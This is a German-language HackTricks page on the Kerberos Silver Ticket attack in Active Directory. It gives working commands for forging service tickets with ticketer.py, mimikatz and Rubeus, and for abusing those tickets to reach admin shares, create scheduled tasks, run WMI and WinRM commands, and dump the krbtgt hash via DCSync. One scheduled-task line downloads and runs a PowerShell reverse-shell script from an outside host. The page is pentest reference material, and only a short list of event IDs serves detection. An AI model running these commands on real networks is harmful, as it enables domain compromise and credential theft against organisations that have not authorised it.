Silver Ticket

Support HackTricks

Bug-Bounty-Tipp: Melden Sie sich an für Intigriti, eine Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns heute bei https://go.intigriti.com/hacktricks und beginnen Sie, Prämien von bis zu $100.000 zu verdienen!

Silver Ticket

Der Silver Ticket-Angriff beinhaltet die Ausnutzung von Diensttickets in Active Directory (AD)-Umgebungen. Diese Methode beruht auf der Erwerbung des NTLM-Hashes eines Dienstkontos, wie z.B. eines Computer-Kontos, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich als beliebiger Benutzer ausgeben, wobei typischerweise administrative Berechtigungen angestrebt werden. Es wird betont, dass die Verwendung von AES-Schlüsseln zur Fälschung von Tickets sicherer und weniger nachweisbar ist.

Für die Ticket-Erstellung werden je nach Betriebssystem unterschiedliche Tools eingesetzt:

Auf Linux

python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass

Auf Windows

# Create the ticket
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"

# Inject the ticket
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
.\Rubeus.exe ptt /ticket:<TICKET_FILE>

# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd

Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber auch andere Dienste wie HOST und RPCSS können für Aufgaben und WMI-Abfragen ausgenutzt werden.

Verfügbare Dienste

Mit Rubeus können Sie alle diese Tickets mit dem Parameter anfordern:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Ereignis-IDs für Silber-Tickets

  • 4624: Kontoanmeldung

  • 4634: Abmeldung des Kontos

  • 4672: Anmeldung des Administrators

Missbrauch von Diensttickets

In den folgenden Beispielen stellen wir uns vor, dass das Ticket unter Verwendung des Administratorkontos abgerufen wird.

CIFS

Mit diesem Ticket können Sie auf den C$- und ADMIN$-Ordner über SMB zugreifen (wenn sie exponiert sind) und Dateien in einen Teil des Remote-Dateisystems kopieren, indem Sie einfach etwas tun wie:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Sie werden auch in der Lage sein, eine Shell im Host zu erhalten oder beliebige Befehle mit psexec auszuführen:

HOST

Mit dieser Berechtigung können Sie geplante Aufgaben auf Remote-Computern erstellen und beliebige Befehle ausführen:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Mit diesen Tickets können Sie WMI im Opfersystem ausführen:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Finden Sie weitere Informationen über wmiexec auf der folgenden Seite:

HOST + WSMAN (WINRM)

Mit winrm-Zugriff über einen Computer können Sie darauf zugreifen und sogar eine PowerShell erhalten:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Überprüfen Sie die folgende Seite, um mehr Möglichkeiten zu erfahren, sich mit einem Remote-Host über winrm zu verbinden:

Beachten Sie, dass winrm aktiv und hörend auf dem Remote-Computer sein muss, um darauf zuzugreifen.

LDAP

Mit diesem Privileg können Sie die DC-Datenbank mit DCSync dumpen:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Erfahren Sie mehr über DCSync auf der folgenden Seite:

Referenzen

Bug-Bounty-Tipp: Melden Sie sich an für Intigriti, eine Premium-Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde! Treten Sie uns bei https://go.intigriti.com/hacktricks heute bei und beginnen Sie, Prämien von bis zu 100.000 $ zu verdienen!

Unterstützen Sie HackTricks

Last updated